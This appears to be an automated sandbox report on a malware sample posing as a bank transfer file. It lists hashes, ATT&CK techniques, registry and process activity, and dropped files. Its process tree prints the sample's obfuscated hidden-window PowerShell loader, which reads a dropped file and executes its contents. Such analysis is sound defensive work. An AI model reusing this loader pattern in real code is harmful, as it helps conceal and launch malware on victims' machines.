65923434a772e80f32b56fbddf49f5ceef3f536611c7a3f7c610c231ba59d27f

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
18-12-2024 16:00

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General

Target

Transferencia 4317370002017852.exe
Size

553KB
MD5

99e39c4f2f22df9a099e7fc6b374dcf4
SHA1

be78ffa0116195b071a9b627f8758b05c9e1233c
SHA256

65923434a772e80f32b56fbddf49f5ceef3f536611c7a3f7c610c231ba59d27f
SHA512

85c8c70e40855ce42358c13cfead8700c0f1b269661b7164081b2ccf6c2f47a09bda94bcb9e71efab49616b4c2607b62d7d019ee7c59ef8fe707525234ceac43
SSDEEP

12288:v93jlfVEb2p27gyIV9h5cKVLK1Svks2Fjz4hzaVtIXPLcD:v93jl9XAgyID3xL2SvJajzizTcD

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
300	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1528	Transferencia 4317370002017852.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\udlndingelovene\troldunge.ini	Transferencia 4317370002017852.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Transferencia 4317370002017852.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
300	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	300	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1528 wrote to memory of 300	1528	Transferencia 4317370002017852.exe	30
PID 1528 wrote to memory of 300	1528	Transferencia 4317370002017852.exe	30
PID 1528 wrote to memory of 300	1528	Transferencia 4317370002017852.exe	30
PID 1528 wrote to memory of 300	1528	Transferencia 4317370002017852.exe	30

C:\Users\Admin\AppData\Local\Temp\Transferencia 4317370002017852.exe
"C:\Users\Admin\AppData\Local\Temp\Transferencia 4317370002017852.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Eksplosionsrisiko=gc -raw 'C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Atamasco\Realkommentarerne.Abs';$Zootechnician=$Eksplosionsrisiko.SubString(23684,3);.$Zootechnician($Eksplosionsrisiko) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\justifikationssager.lnk

Filesize
794B

MD5
db00da16fee35dc382870f38bee25984

SHA1
c71f6b3a915877481cf6a3f60dedaa9e6877ed9f

SHA256
bf08285d3d0fefe1db2be31eef97ca161398630583bd722e0127530551c87c61

SHA512
69939b2be62e18c760cabd26b37db6f079533a80b7c17cc6a4befecfb4bdb6cbd35119815234f5d4d2ff5e559e9342553bc8da1758a9840ed3d90561633f6c0b

Download Submit
\Users\Admin\AppData\Local\Temp\nst8A57.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
memory/300-38-0x00000000737C1000-0x00000000737C2000-memory.dmp

Filesize
4KB

Download
memory/300-39-0x00000000737C0000-0x0000000073D6B000-memory.dmp

Filesize
5.7MB

Download
memory/300-40-0x00000000737C0000-0x0000000073D6B000-memory.dmp

Filesize
5.7MB

Download
memory/300-41-0x00000000737C0000-0x0000000073D6B000-memory.dmp

Filesize
5.7MB

Download
memory/300-42-0x00000000737C0000-0x0000000073D6B000-memory.dmp

Filesize
5.7MB

Download